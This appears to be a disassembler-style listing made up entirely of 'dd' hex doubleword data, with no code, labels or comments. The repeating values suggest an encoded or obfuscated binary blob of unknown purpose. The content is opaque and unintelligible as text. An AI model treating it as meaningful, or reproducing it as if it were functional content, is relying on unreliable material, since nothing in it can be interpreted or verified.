dd 423A5436h, 5DB13CBFh, 7CB26B56h, 824847B4h, 0B132C875h
dd 0B4B5B21Fh, 0B848E2A9h, 675862AEh, 0ABB13256h, 0AEE028ADh
dd 6A3FD9D1h, 536766DAh, 0D57DA795h, 55B15AA8h, 80483256h
dd 743B3D56h, 43B13256h, 0F1BB80A9h, 514835BCh, 37485286h
dd 0CAEF64AAh, 0DA586A37h, 69B13256h, 6D87E79Ch, 0EE3B6365h
dd 587804B2h, 0A1EB5695h, 57B121D9h, 0ABBFDB56h, 0F0163256h
dd 9C2A02BBh, 0D545BA68h, 0E4BCD3E2h, 5D31323Eh, 0AF3F3D56h
dd 0A2B13256h, 0A4D1323Ch, 6ABEC8E1h, 6BD153A4h, 9C25AD8Dh
dd 70063D67h, 4503CD37h, 0A1B6D8F9h, 57B121D3h, 0ABBFDB56h
dd 0FF533256h, 2BA9762Ah, 30F53582h, 4DB30D2Eh, 0D8BEE2A9h
dd 0AEB13257h, 5A5853AAh, 6CB13256h, 0A1FDEF89h, 2E9BA893h
dd 0D7076C3Eh, 30BEC795h, 5DB1325Ch, 7C305436h, 0E0BECC4Ch
dd 53E45391h, 3C5DB9AEh, 0EAB1325Ch, 883DC9A5h, 2B3A60CEh
dd 3DD14FEDh, 477E8D59h, 57B13246h, 0D5C2FA64h, 0B48B5D0Dh
dd 1F353C9Fh, 0A934D3EAh, 0BAB1DA37h, 0DCEB3256h, 447F35BCh
dd 57A3DB51h, 984F3256h, 8A99FE29h, 73CADF0h, 0B0E0469Eh
dd 0E137D583h, 6E75236h, 0CFD082E6h, 57B122BFh, 0DC763256h
dd 0A6012163h, 81D0FE30h, 11430BD4h, 0B2C4B95Ch, 5DA6B059h
dd 0BC583256h, 8EB13256h, 546510Fh, 2A63DC72h, 92BA9874h
dd 0EF0E5043h, 0AB0852EAh, 3DE74F54h, 0AEB1BF59h, 0A6303256h
dd 0E31AE87Dh, 34595337h, 1FB13258h, 75B8DB03h, 2B1C3256h
dd 0DF1B1113h, 51BB7114h, 0BD1D88C4h, 1CBE5251h, 8A0665A8h
dd 0E5EC5308h, 75B133D3h, 0CF8AC756h, 96343D5Ah, 0A14ECDA9h
dd 57B126DEh, 0A6585256h, 4CB13256h, 9C563763h, 0D658C3B4h
dd 196DD88Ah, 5323DA37h, 0CF4D3256h, 57B139BFh, 0B0590C56h
dd 4FA3CB0Eh, 64CDA6C7h, 75B9B859h, 3BBE3256h, 5DB13254h
dd 0A1785336h, 57B133DAh
dd 0A373CB56h, 0CC3F3D56h, 3B13256h, 75B13242h, 296A21D0h
dd 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h, 64E6DE3Eh, 393AC703h
dd 0EAA9B759h, 0F1BE3256h, 0BAB13244h, 5DB13FBFh, 9A3FA956h
dd 3235CC02h, 6E554B63h, 564D035Ch, 8CD1CE92h, 25527DE9h
dd 0BAB13ABFh, 99F16856h, 2C121598h, 1D06C17h, 0AF373D36h
dd 0B3B13256h, 8CE473EDh, 3111DDD7h, 3DBE6537h, 5DB13251h
dd 0AEB0BA59h, 4483256h, 0ABB6B359h, 5CBE3256h, 0EAB13257h
dd 75B1DAAEh, 3BEB3256h, 0B77EB1BCh, 0A4595251h, 3FB13256h
dd 99017E0Fh, 6FD78BC9h, 0EABEDBC6h, 41A73256h, 9834756Ah
dd 504225FEh, 8EB4A69Eh, 525868DBh, 0F0B13256h, 0CFAC551Fh
dd 0FB3B3D37h, 7AB13256h, 0BAB139D9h, 5DB7DB56h, 73373256h
dd 0F0D13C7Bh, 42B947DDh, 0D5B13244h, 0AFE7D622h, 0AD3F85F4h
dd 0D60D58F3h, 161988Fh, 0D33A7F81h, 0BEE6C746h, 0ABB13251h
dd 487AB545h, 0E5DC0BF1h, 75B133D1h, 53E7C756h, 5DB13242h
dd 5A53F990h, 1199AF84h, 97020D39h, 0C54EA282h, 0EE88AE97h
dd 7477DAAFh, 0DCD13256h, 529849EDh, 0AEB131D8h, 8A6FB256h
dd 0A4713937h, 0D5B03DD2h, 0EAA2DB56h, 85A73256h, 0CBC160F1h
dd 0B3F1F0Bh, 0FD345CE9h, 61039AFh, 0A1343DBEh, 0B5B13256h
dd 0FA5EF0D7h, 2AE14700h, 0DA49B937h, 0B5D7F0D6h, 0AEB13245h
dd 0AC8BBBEBh, 0CD244F83h, 8154F018h, 851651DFh, 23E49C00h
dd 0EFD06B0Ch, 5DB137BFh, 0F2B33056h, 0C54E3DFFh, 0AC5B9EECh
dd 0D5B13DBFh, 0C53B2856h, 9620118Ch, 28C7650Bh, 2D456AE6h
dd 0AEB9DB0Bh, 3C233256h, 0DAEEDB73h, 0A08AF044h, 63353D5Ah
dd 9CB13256h, 0BAB13250h, 72AEFD35h, 25D75B0Fh, 57BFDB48h
dd 6E0A3256h, 61DDBB31h, 0AF60400Bh, 0D71BF135h, 0BAB13BBFh
dd 9547FD56h, 65AA7B81h, 0B0311A37h, 0DE0F52A6h, 0B58C9490h
dd 0EAB1B059h, 0AA303256h, 0FEB7777Dh, 433B5337h, 4D31CBA3h
dd 46323DA6h, 42B13256h, 0D5B1325Ah, 6EDE5B3h, 0AE0B011Dh
dd 0EAC88B0Eh, 5D92B4BEh, 1158CA56h, 0BE4ECDA8h, 0ABB13242h
dd 0B14C3217h, 879DEA19h, 0FBF6ADB6h, 8A3337Eh, 30F3CE31h
dd 0A14D4FDFh, 57B13EDFh, 0AD313D56h, 0DAB13256h, 0EAB132D7h
dd 8072DA56h, 3D1CDA9h, 115F41A6h, 0FF51B330h, 0BEEA537Dh
dd 0ABB1325Dh, 491B0F75h, 306DC18Eh, 2A220184h, 0BAB126BFh
dd 63DF6456h, 5356F066h, 1FDFEA67h, 4C6A05BAh, 500EA12Ah
dd 3446C3Ch, 75B13250h, 0EECE39A9h, 183A264Dh, 0A63E3DAAh
dd 58B13256h, 0ABB130D1h, 1CD05256h, 0EAA5B959h, 7A583256h
dd 34B13256h, 3EA3EA43h, 0AF280E30h, 0F1FD1547h, 0A7733DE8h
dd 0D3585256h, 0A5B13256h, 0F143ABA9h, 2D7648Fh, 3CEF9267h
dd 0AEA0DB03h, 8DF93256h, 4DA35FA0h, 76EBEE25h, 0B0B09291h
dd 0FE529100h, 0B2383DBAh, 3DB13256h, 2E0EE0D6h, 0D4D0B7A6h
dd 0B858CA92h, 0A6B13256h, 71BC7EF2h, 0B87BB92Bh, 0D20A9455h
dd 0E3333C49h, 47E6BFE5h, 57B13246h, 596679E6h, 3F00DE54h
dd 323D3A09h, 51E47155h, 53E0C700h, 5DB13242h, 8BB2C8F5h
dd 0FB4CCA27h, 7C4C7765h, 0F6CB82F2h, 5A9FEAA7h, 75B9DB05h
dd 45C3256h, 444D952h, 0EB765841h, 57B132AEh, 79075256h
dd 302B8B30h, 9933F537h, 74B6D8F8h, 46B13256h, 52B947DDh
dd 0AEB125D6h, 57A3DB56h, 9CF43256h, 38D6AB6Ch, 46A1063Ch
dd 0E3A82FE2h, 0B0A1D059h, 0A4AFB930h, 2BB88DDh, 0D4BE35BCh
dd 0ABB1324Fh, 0D5A2B559h, 0E4583256h, 7DB13256h, 0EB9F2930h
dd 64841769h, 0BE458A95h, 5FEEB9BAh, 0ABB134BFh, 8D700656h
dd 0E109E339h, 0F0353D8Dh, 53B13256h, 5DB13242h, 0FABA14B7h
dd 0DFC6F651h, 3C6871B1h, 0BFA0286Dh, 325E00B6h, 75A5B859h
dd 0B5583256h, 30B13256h, 4C97A4D8h, 0C6CD9F17h, 6BD71D50h
dd 0B8AA774h, 0EAA6B759h, 73583256h, 1BB13256h, 0D95309A9h
dd 0A2ECB91Fh, 5BEEBBAFh, 583A5436h, 0C176B137h, 0EA383D36h
dd 9CB13256h, 0BAB1325Ah, 0CCDEAAC6h, 0FB224041h, 714836E2h
dd 54C6DB37h, 6CD1CDA9h, 9727F586h, 75B137BEh, 0B934AC56h
dd 3CEA8D08h, 0CEAFB930h, 57B13ABFh, 7803D456h, 0EFA71A5Bh
dd 343A5424h, 7B595237h, 1BB13256h, 0EFE6CBD1h, 8FD69F2Ch
dd 0AD7A0CDDh, 643A54CDh, 0D6303D0Dh, 0E5B13256h, 0F5D0EBE1h
dd 3EBEDAADh, 5DB13126h, 0AEB9BC59h, 0DDBE3256h, 0ABB13254h
dd 2E315336h, 0B3353DBFh, 15B13255h, 514AB237h, 5EFFB659h
dd 0FED13256h, 31EF5336h, 0D044F5D7h, 374AB237h, 0E996B659h
dd 7E583256h, 4B13256h, 0F57A66B9h, 3F2930F0h, 0AC31775Ch
dd 58353DB5h, 0B5B13254h, 10BDAD7h, 0BD310AA7h, 0DC4D539Ch
dd 0BED6C9D7h, 0AC46B659h, 0BE443256h, 0ABB1325Ah, 0AC9FA10Bh
dd 280B9A39h, 895A5F4Fh, 0DA41D5D6h, 5DB3B159h, 0CFD13256h
dd 0AC305437h, 2FBEB259h, 0D5B130B6h, 8CEB6036h, 14BF73E8h
dd 4241D1D6h, 52C1C9D6h, 0AEB3F9D2h, 57BCDB56h, 95C23256h
dd 1EE7C035h, 0EED9E884h, 1391DA3Bh, 0AB582CDDh, 1BB13256h
dd 0B71A2DBDh, 86DF6172h, 0C08B2B7Fh, 0B146DB1Bh, 0E549D1D6h
dd 75B13EDFh, 3DBE5256h, 5DB13256h, 65D58C30h, 97305237h
dd 0B8F7B82Ch, 0B410C0D6h, 0E509C9D6h, 75B0B6D2h, 0A23C3D56h
dd 0B4B13256h, 0AEB13245h, 34AA1301h, 0E4CA50EFh, 0C574785Fh
dd 0BB4FD941h, 0F54B9AF9h, 3EBE3768h, 5DB1330Bh, 0AEBEB859h
dd 5D583256h, 0EB13256h, 0CB66A553h, 4E348B9Ah, 588FB2F8h
dd 0BB8EB659h, 0D4BE3256h, 0AEB13257h, 3F8FB2AAh, 0AA9EB659h
dd 50BE3256h, 0EAB13251h, 75B0B959h, 0B5493256h, 5DB135D6h
dd 0CFD15256h, 3643B930h, 5C2B0A9h, 0DAD135BCh, 3E7E1E1h
dd 75B1325Fh, 3A8A2795h, 45115A50h, 0C8D0683Bh, 46582CDDh
dd 26B13256h, 0A1196BEAh, 569DAB27h, 0B54F4A18h, 7A48741Ch
dd 0A449D5D6h, 553054AAh, 0D3BEDAD7h, 0ABB13287h, 3CD0C736h
dd 0EAB13246h, 6F66F128h, 94850A63h, 0E23B3882h, 87B5D664h
dd 58AFB930h, 0ABB13ADEh, 0D73D3D56h, 8AB13256h, 8556B237h
dd 78305436h, 52D0E1D9h, 0AEB138D5h, 0D9BE5256h, 0ABB13256h
dd 0B3D0C5DDh, 2A30C9D7h, 7532B659h, 0BF583256h, 0A4B13256h
dd 0CEAF519Ch, 37E4CB36h, 4B7D8D30h, 474E53AFh, 0ED5B9EECh
dd 75B8DB36h, 0E7EA3256h, 1261A189h, 0A1A470C2h, 57B134D9h
dd 0AB3E3D56h, 0B4B13256h, 0FF05520Bh, 0C970E0D7h, 33D057A3h
dd 0D4BECE13h, 0AEB1325Eh, 57B3BD59h, 0CAD13256h, 0DF363D37h
dd 3B13256h, 75B13253h, 6F1FE4B8h, 0A1CCB164h, 4F343D57h
dd 0BEB13257h, 0ABB13247h, 0C9EB75ADh, 0FB2FB66Fh, 9B598970h
dd 0E9E04818h, 500BB9D3h, 5BB6D665h, 0D53ACE06h, 0AC5B9C25h
dd 0D5B120BFh, 0C7F59D56h, 0B71E3919h, 40C2B6EAh, 0D9642225h
dd 9764BC7Ch, 0F44026Ah, 0AA2BB059h, 0C7583256h, 0CDB13256h
dd 0B34DF93Eh, 0A0497AACh, 8913E2E6h, 48D8FE38h, 860BB98Eh
dd 0A4B6D64Fh, 0D5B13AD6h, 0D7055256h, 0E9AD8830h, 39BE6237h
dd 5DB1324Fh, 0AEB126BFh, 4BBADC56h, 246F076Eh, 0F40A979Dh
dd 9A0261C1h, 103339Eh, 0C933B905h, 52B6D8F8h, 0AEB137D8h
dd 0E8BE5256h, 97885385h, 0D5B7DB66h, 43363256h, 0B0691C26h
dd 933E3D0Eh, 52B13257h, 0AEB125DAh, 463C3D56h, 42B13256h
dd 0D5B1325Ah, 17F02020h, 89294ADh, 3AE96E95h, 5DB11DBFh
dd 0EB76CE56h, 57B130AEh
dd 560E5256h, 0DAA00981h, 0EAB133D1h, 9CD0C756h, 0BAB13242h
dd 0A5F4F5AFh, 0AEB13257h, 57B135BFh, 9B7F8556h, 74FB7FE4h
dd 46BB88DDh, 0FE4935BCh, 15005249h, 5DB0B559h, 0CF483256h
dd 0D3BEE95Dh, 0ABB132EAh, 0D5B138BFh, 5F9E9956h, 9492D85Bh
dd 81D609F4h, 3C343D88h, 0A1B13256h, 57B133DFh, 0F63ACE56h
dd 0D5BDDB5Ah, 68C73256h, 5A180E40h, 35A00BD5h, 0D0BEE332h
dd 0AEB13240h, 57B123BFh, 31B64856h, 761B38A2h, 0A67EC881h
dd 4BE78D98h, 0C73229BEh, 0D9BE32AEh, 0AEB13253h, 0AFEC31AAh
dd 0AFEEBBA3h, 0D5A3B859h, 0E7583256h, 40B13256h, 9ACC9CD8h
dd 9EEE99C3h, 40638590h, 58A5F5D5h, 0ABB135D0h, 0B4D15256h
dd 8B73B930h, 8A4E6CBFh, 0BABFDBA9h, 11C73256h, 0C1C9A711h
dd 0DDF97EA7h, 2B5FD0A3h, 0D258F265h, 0CCB13256h, 790792F0h
dd 5349A8CAh, 5DB13609h, 0AF393DA3h, 0AEB13256h, 0A4AFB930h
dd 0D5B13FD3h, 6BD75256h, 7A7ADF8Fh, 0BAB132D8h, 203A5356h
dd 0B83B3D5Ah, 0BEB13256h, 0ABB13247h, 0A476681Eh, 0DC85723Ch
dd 75414B4Fh, 126A98C4h, 0B64AB240h, 0AEFFB659h, 0BED13256h
dd 0ABB13246h, 3DDB9B47h, 67ED74D1h, 0D1A01E8Ah, 267AFA6Ch
dd 5DB13FBFh, 734D6A56h, 13D45FCDh, 0FFB2E975h, 55D05529h
dd 60D1C2B5h, 953054B4h, 3AD0A202h, 0D9BE42ADh, 0AEB13227h
dd 57B137BFh, 0A39F1256h, 0C658C2E3h, 13B13257h, 7A583590h
dd 0BAB133DFh, 1A76C756h, 0AEB13257h, 46595256h, 7DB13256h
dd 743AF0FAh, 1A5E2887h, 0D26513B0h, 78EBE750h, 1E52B330h
dd 4631683Fh, 903A5383h, 0ABBFDB36h, 0C32E3256h, 3FA68821h
dd 0B82F3A27h, 1F1272D9h, 0DED0F1DDh, 24D13796h, 54323DBEh
dd 0A4B13256h, 3CD0E8E1h, 0EAB1313Dh, 727654AFh, 31D13A59h
dd 8B3A548Fh, 0B03BCA37h, 57BDBC59h, 12D13256h, 0F812AD70h
dd 7571B330h, 9631539Dh, 0B2303D59h, 3DB13256h, 0A14FB930h
dd 0D7D0C0E9h, 2CBEB29Dh, 0D5B13242h, 0EAB13DBFh, 960B9956h
dd 4C0FFD2Ah, 6E624A3Fh, 0BDCA6474h, 0BEB06DDEh, 0ABB13259h
dd 0D97E88A9h, 0F7407CF1h, 0A5FEFEE2h, 7D61B69Dh, 5DB13011h
dd 2DBE3256h, 57B13257h, 0CB76B9AAh, 57BEEBDDh, 0EAB13247h
dd 75B139BEh, 0C470D056h, 140651CFh, 5C6AF66Dh, 9732530Fh
dd 0AC353D50h, 0DAB13256h, 0EAB133DAh, 0FED1CE56h, 0A151B3A4h
dd 3CD9113Eh, 0AEB388BFh, 0D6D7CE56h, 0A421A268h, 0D5B150D2h
dd 6BD75256h, 7A92BBA5h, 0BAB126D5h, 5DBFDA56h, 0DBEF3256h
dd 42F4E9DBh, 0E08AA47Bh, 75AAA226h, 6A49530Ch, 0F0BEA268h
dd 0BAB13218h, 5DB126BFh, 0FF400856h, 0C205764Eh, 0E594CC01h
dd 9BCE9791h, 0F865046Fh, 0B3054B1h, 0B521A2A9h, 5DB120D2h
dd 0EF095256h, 31F99D4Ch, 4FC7D2D7h, 0D5A9DB37h, 61493256h
dd 9C44CA91h, 0BAB13015h, 5DB13BBFh, 6D971B56h, 96C3DFA9h
dd 293C17B8h, 0D25B9D14h, 0EAB0BD59h, 9C4D3256h, 0BAB13251h
dd 3F4438F7h, 0FE39FC89h, 0A84964AAh, 411DDFC4h, 0D5A3DB51h
dd 5A593256h, 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h
dd 0D3BEF25Dh, 0ABB13269h, 0D5B135BFh, 96D4A756h, 669D443Fh
dd 31D1FADDh, 0A70E3D8Ch, 0EC03BF37h, 37B6D8F9h, 7B40B330h
dd 35EB35Ch, 8BA1B727h, 75B18BBFh, 0B63A3D56h, 52B13256h
dd 0AEB134D2h, 57393D56h, 0FDB13256h, 0D5B6B859h, 8AD13256h
dd 0BB3A5437h, 537FB937h, 5DB13247h, 0E6B7FCh, 0C634012h
dd 0F7E79F15h, 8C323DEBh, 8CD15233h, 23B0EDD7h, 54CCF1D7h
dd 0E3D025FEh, 0E336C477h, 31D16737h, 0B5DEFBD7h, 6F23CD37h
dd 0E5B6D8FAh, 75B13AD8h, 0B8363D56h, 3DB13256h, 85446F37h
dd 0D9BE5298h, 0ABB13250h, 0D5B1BC59h, 64BE3256h, 75B13257h
dd 634653AEh, 5DB8B559h, 25D13256h, 9C305498h, 42D0CB40h
dd 0D5B13251h, 3A6005E4h, 2BA1040Bh, 0BAB6DB36h, 0A1A73256h
dd 0A05F9A35h, 57B6DBB5h, 122E3256h, 30218830h, 9732536Ch
dd 0F0BE33AEh, 0BAB1320Dh, 52F882AFh, 0AEB124DCh, 57A0DB56h
dd 0E2433256h, 0FB64807Eh, 494ECFDh, 9D6B6097h, 10A8DB81h
dd 5DB0B959h, 0C8493256h, 0BE343DEEh, 0ABB13258h, 0D36B4A3Ch
dd 644C6034h, 0DF0D5B0h, 11D7DF2Dh, 5DB9B959h, 25D13256h
dd 4C0B54A7h, 1DBE5383h, 7E443310h, 0EA33DBAAh, 0F6443256h
dd 0B5B3CA2Bh, 5DB146D3h, 16D7CA56h, 5058FB5Dh, 0ACB13256h
dd 0E56AE0A4h, 41D748AFh, 75B134BFh, 9E525056h, 3BCF1F9Bh
dd 57353DEEh, 0DCD19930h, 0ABA1DAACh, 0E7DB3256h, 0C36591B7h
dd 87B997D0h, 8C6B3ACBh, 3CD14761h, 18BE530Eh, 0FC483310h
dd 0ABB13FBFh, 0B9B6DE56h, 0F6ED952Ch, 438B0CDh, 0AA58AEC2h
dd 0DAB13256h, 3EE00B15h, 353847A4h, 0C1ED673Dh, 3C58EB5Bh
dd 0EAB13252h, 8C15C1A3h, 3BD1F5DDh, 0C62D1991h, 0CF76B84Ch
dd 57BFDB36h, 166B3256h, 7AC8DC7Bh, 53812956h, 503E6AB7h
dd 935E2D7h, 6D0150Fh, 4777B836h, 57B1325Dh, 3E06FDBDh
dd 92400ABEh, 8BE24D76h, 74333D0Fh, 42B13256h, 0B4D1CB08h
dd 0AEB1325Bh, 0CE199659h, 49CDFA33h, 5F0D3AB9h, 0E0585287h
dd 73B13256h, 0CDBB696Dh, 9C6B77A8h, 0F1D053D0h, 5D58FBAAh
dd 0D4B13256h, 0C9B6EEF8h, 0BE2CD402h, 75B9F0B7h, 314867AEh
dd 5DB7DBBAh, 23F83256h, 0FA497331h, 0ABA3DB36h, 3FEB3256h
dd 0F196049Ch, 958331AFh, 3E87DB3Ch, 68A3F00Bh, 0AEB132BEh
dd 0BD306856h, 0AC5BEE98h, 0D5B123BFh, 0D963E856h, 74DD96C5h
dd 9F5B8538h, 0EE30BB24h, 25448F88h, 0DEBE3A13h, 0ABB1325Dh
dd 0A063D36h, 0EAB1BC59h, 0FCD03256h, 501D7DD4h, 5DBBDB51h
dd 7F0A3256h, 714BAE3Ah, 94EFB1C8h, 223B5237h, 0EAB4B559h
dd 0F4D73256h, 0DB2C6690h, 4959529Fh, 0E0B13256h, 73B3480Fh
dd 0B36CE194h, 38A31856h, 98546A71h, 7A359A1Fh, 0BAB132D8h
dd 0D6D76D56h, 0AA73539Dh, 57B8DB56h, 2C473256h, 7D7CD3A2h
dd 1371997Eh, 993ACE03h, 4275B1A3h, 5DBBB859h, 2ED13256h
dd 0D6D74887h, 0CA83E995h, 0C1595236h, 7BB13256h, 45D0B1C1h
dd 4E989099h, 0A35D7345h, 0A45DBFBAh, 0DCA52704h, 42D16DACh
dd 0D5B13247h, 0EFDDDA0Fh, 9F4057DEh, 4121A249h, 8A821Dh
dd 0AE373D29h, 36B13256h, 0ABB1DA37h, 54EB3256h, 6C85BCh
dd 75A2DB51h, 0F2E53256h, 0D809E854h, 5ECC4CEBh, 0DF174C92h
dd 807B831Ah, 0C55852C2h, 97B13256h, 0F6C5D01Dh, 8B148BFAh
dd 0AFF61146h, 0A16F3744h, 57B126DDh, 0ABBFDA56h, 0C07E3256h
dd 6B6BB7B9h, 1838C448h, 8246AFCDh, 5249530Eh, 0AEB13AD8h
dd 553C3D56h, 0CBB13256h, 2DF4F537h, 0EAB13256h, 75A2BC59h
dd 34BE3256h, 5DB1325Bh, 0AEB13ABFh, 5DD73B56h, 0C0C36DC2h
dd 5ED15213h, 0EF5953ACh, 0E4B13256h, 0C915CA84h, 18765308h
dd 0AEB132AAh, 9782CB56h, 0ABA0BC59h, 0D9583256h, 3DB13256h
dd 0FD1DF6F8h, 0AC2D5AD4h, 3B357B30h, 47D12CDDh, 57B1325Eh
dd 9B8D1D2Ah, 15AB5A46h, 2ED424EFh, 0F7765307h, 0BD5B9C25h
dd 5DB13257h, 0AEA8B359h, 43583256h, 0C3B13256h, 0B581DEA5h
dd 0C5C19FFh, 0F5BE9692h, 12AC8FDCh, 3B83D74Eh, 3E21C9D7h
dd 57BDB759h, 0AC583256h, 68B13256h, 0E3B68D53h, 8E31A6A4h
dd 47353DBEh, 0A4B13255h, 0AEA2DB16h, 0E6E63256h, 585B0FB5h
dd 0C8682B80h, 8918DA3Ah, 81A829D1h, 0BD383DD5h, 52B13256h
dd 0AEB133D5h, 0AC31CB56h
dd 66353DBFh, 2CB13255h, 0EABEDB16h, 29D3256h, 1C1C2156h
dd 632EB3EBh, 16ED11A1h, 0BC4AB2F1h, 0A81FB659h, 95493256h
dd 0EA9DB159h, 9DD13256h, 0BAB13245h, 0DA1ACFA7h, 0F7572AC5h
dd 20990674h, 0CBA3DD5Ah, 8F0E072Dh, 0EAB139BEh, 92631456h
dd 11B9A65Bh, 0ED5E6836h, 49315309h, 5258CBA6h, 0ECB13256h
dd 0A9B2B18Fh, 0E54AB330h, 14353DD6h, 0DAB13255h, 3C7B8D59h
dd 0B11CB055h, 58D135B2h, 7930E0E1h, 0AE2DE795h, 62BE7237h
dd 75B13258h, 0A251B336h, 52CAFD22h, 0AEB132DEh, 0AC315356h
dd 0B1353DB4h, 0B5B13255h, 0F388B9EDh, 1456B83Dh, 0B552C9D6h
dd 5DB3E6D2h, 2FD7CB56h, 585255ADh, 0ABB3CED2h, 0D0353D56h
dd 8AB13256h, 1449B930h, 5341D1D6h, 5DB13244h, 9F2AF31Fh
dd 0E59540D8h, 0E69B8F4Fh, 40A86864h, 61D1300Ch, 8E3153A4h
dd 67353D26h, 0B4B13254h, 0AEB13253h, 63C857D6h, 0ABB4DBAFh
dd 0F9583256h, 8C9F337Ah, 7AD12CDDh, 0BAB131D6h, 5C71B256h
dd 0AEB2B259h, 0A7313256h, 483153ECh, 2E31CBAEh, 0A7353DEEh
dd 8DB13257h, 0BAA9BF59h, 0D0BE3256h, 0AEB13244h, 57B13FBFh
dd 0C827F756h, 71EDFD5Ch, 30B4E4F1h, 4B31FE57h, 9F353D53h
dd 0A1B13257h, 0A19C0CD6h, 57B029D2h, 0AA343D56h, 2CB13256h
dd 0E5D90CD6h, 75B039D2h, 3BD75256h, 0D624A98Fh, 0CEF15381h
dd 0C60B5436h, 6A3A5491h, 574E5337h, 0ED5B9C25h, 75B123BFh
dd 0F0266056h, 4B214755h, 542BC764h, 0FBB281E2h, 20D7C66Fh
dd 0D5B8DB48h, 75F03256h, 32588FA8h, 3AB388BEh, 3CD1CAB1h
dd 2F4AB330h, 0EE353DBEh, 0A4B13256h, 0D5B13DD1h, 0EABBDB56h
dd 642C3256h, 567F09FDh, 0FDCA7F6Bh, 47AFB930h, 57B13244h
dd 0CE06AD46h, 0C5EE7010h, 2AE17537h, 1023AF3Ah, 5D31B725h
dd 0DCD752A6h, 0CF39889Dh, 0D64AB330h, 0DE353D96h, 3CB13256h
dd 0EAB13246h, 46568A4Ah, 12929140h, 697345F8h, 2EEDF95Eh
dd 0BEE4C736h, 0ABB13245h, 0F66D5813h, 2118F2E5h, 0A7B630F9h
dd 1BF0BC88h, 0A234F979h, 441D88C4h, 803A5251h, 0F0CAF1D7h
dd 88D042ACh, 16F4BBAFh, 15D05336h, 7840B330h, 203253A1h
dd 2BBE33AAh, 57B137E4h, 0ABBEDB36h, 74763256h, 63455DE3h
dd 8F4BFA95h, 0C9068F42h, 0E5D76309h, 0CFE91DD4h, 64BC88DDh
dd 21BE35B2h, 0D5B13257h, 62BE62AEh, 75B1325Eh, 296FB336h
dd 3CF00632h, 0C2B0DDh, 0D6D135BCh, 5E8DCFA4h, 0D5BBDA08h
dd 1A5C3256h, 0A56E9682h, 25B5D0EDh, 3CEFF8DDh, 52810E6Fh
dd 18333D0Eh, 53B13253h, 0CC6088DDh, 0BA4935B2h, 75B123BFh
dd 938FCB56h, 0C422C48Eh, 0C48124F8h, 9CEF05CFh, 293AA58Ch
dd 0D25B9C25h, 33095436h, 3C52B3EEh, 0DBE03BE4h, 52810E6Fh
dd 0AEB133D5h, 0F49CE56h, 0AEBDBD59h, 0D3583256h, 10B13256h
dd 8C8EC74Fh, 3ACA89h, 5A5B9E4Ch, 0B433B1AEh, 43B6D8FAh
dd 44F38B36h, 62BE53D0h, 0DD38538Ch, 75B6BB59h, 35BE3256h
dd 5DB13257h, 0BEF6BBAFh, 57B13EBFh, 0D7A92B56h, 0E8D84784h
dd 0E2D8D47Eh, 705862B0h, 36B13256h, 0D8C0FA96h, 0C2B0DDh
dd 0DC4835BCh, 0F349024Ah, 0D5BDB459h, 0ED583256h, 3BB13256h
dd 5EC37C80h, 2387212h, 3D58CA5Eh, 58B13252h, 0ABB13AD0h
dd 8BE25256h, 0DD808D30h, 8DF4F537h, 0BAB13254h, 5DB13CBFh
dd 0CA58BA56h, 0D07974EDh, 8181A30h, 3C95224Ah, 0EAB1327Eh
dd 75BEB759h, 0B0583256h, 42B13256h, 77481313h, 0FD9558EBh
dd 53F4F52Bh, 0D5B13257h, 0EAB134BFh, 0B4AE9356h, 46645547h
dd 0F1AB88DDh, 2D4435BCh, 0BD1D28D4h, 23BE2651h, 0D5B13249h
dd 0EAA8B659h, 61583256h, 0CDB13256h, 97B8FD2Bh, 0AA0FDFC5h
dd 40E8C7BDh, 1CE7843Ch, 5C669AB4h, 8C495261h, 0F694C3D7h
dd 0AAF6BB37h, 5E49B1AEh, 0AE8DB759h, 37443256h, 0ABA1BF59h
dd 0DE583256h, 0E2B13256h, 0C22E4CBh, 8CB784CCh, 990B409Dh
dd 0CF9A087Eh, 0F9C2B091h, 0ABB335BCh, 3C493256h, 0EAB13274h
dd 75B0B759h, 0B5483256h, 5DB133D8h, 5632CE56h, 4C3C3D54h
dd 0CBB13254h, 2CD3F4D7h, 283142B7h, 8325371h, 3EBE32AEh
dd 5DB132FAh, 0E8073DAFh, 56383D57h, 52B13256h, 0D5319BAAh
dd 6FBE3256h, 75B13201h, 0BAB138BFh, 0E9868D56h, 7B543FE8h
dd 176A0D51h, 0ABBBDA36h, 0B3A63256h, 0BF5D142Eh, 0F91829E1h
dd 0BAB1B959h, 3BEA3256h, 0DE89FAD7h, 5259B137h, 0ABB6B759h
dd 5ABE3256h, 0EAB13257h, 758FDBA3h, 0B5D13256h, 5DB13FDBh
dd 0AEB9DB56h, 0BE5B3256h, 4543F9E0h, 0F8D03BC6h, 0EAB132A9h
dd 7059B1AFh, 0BAABB059h, 0D2BE3256h, 0AEB13242h, 57B13DBFh
dd 8E4B8756h, 0B88FE754h, 0E04B4ADCh, 0B49F39A6h, 0BAB169BFh
dd 5DBBDB56h, 494C3256h, 7A7507A8h, 8F340B99h, 0C7393D05h
dd 0E5B13256h, 75B13EDDh, 0BAB6DB56h, 0EEA3256h, 35D2CA1h
dd 242BB9EFh, 42B6D8F8h, 0D5B13247h, 3DDF53CFh, 0E68606C9h
dd 0CE9B189Eh, 5E4ABA9Dh, 9DB5B962h, 57BDBD59h, 0AC583256h
dd 8B13256h, 1EE027C7h, 8CEAB08Dh, 0BAB132FFh, 21343DD6h
dd 0A1B13256h, 57B13FDFh, 0ABB9DB56h, 0AC423256h, 38E0796Ch
dd 0B3B2FFEEh, 39D0C736h, 5E4D3796h, 441F41D4h, 5F303D51h
dd 0A4B13256h, 0D5B130D7h, 0A2D05256h, 75B13EBFh, 4E46CB56h
dd 954C8E47h, 9E4F5A32h, 5FF6BB54h, 0A7F6BBAFh, 0D5B123BFh
dd 15569656h, 79990177h, 52300E78h, 379BBA32h, 9D5811BDh
dd 37B13254h, 8BA51CEDh, 800E526Ah, 0E58CC8B5h, 14D0C0E1h
dd 0BC458836h, 0AAD06F1Dh, 689AC78Eh, 0AB69C5A3h, 0ABB126BFh
dd 75B9E156h, 868BE22Eh, 0E2662469h, 7F761CEFh, 96DF9F5Dh
dd 0AB71B19Ch, 243331A3h, 57B6D8F8h, 0D5B13CBFh, 0B28F7456h
dd 5F344D94h, 0C0A18073h, 15C9A8D5h, 66063D36h, 0DED0C7DCh
dd 2FBE3A11h, 0D5B1324Fh, 0EAA2BF59h, 7B583256h, 0E5B13256h
dd 98287A87h, 85E64AFBh, 15110095h, 0A7F6BB7Fh, 0D5B13BBFh
dd 0EFE45856h, 62809091h, 21584A44h, 52B13257h, 0AEB133D8h
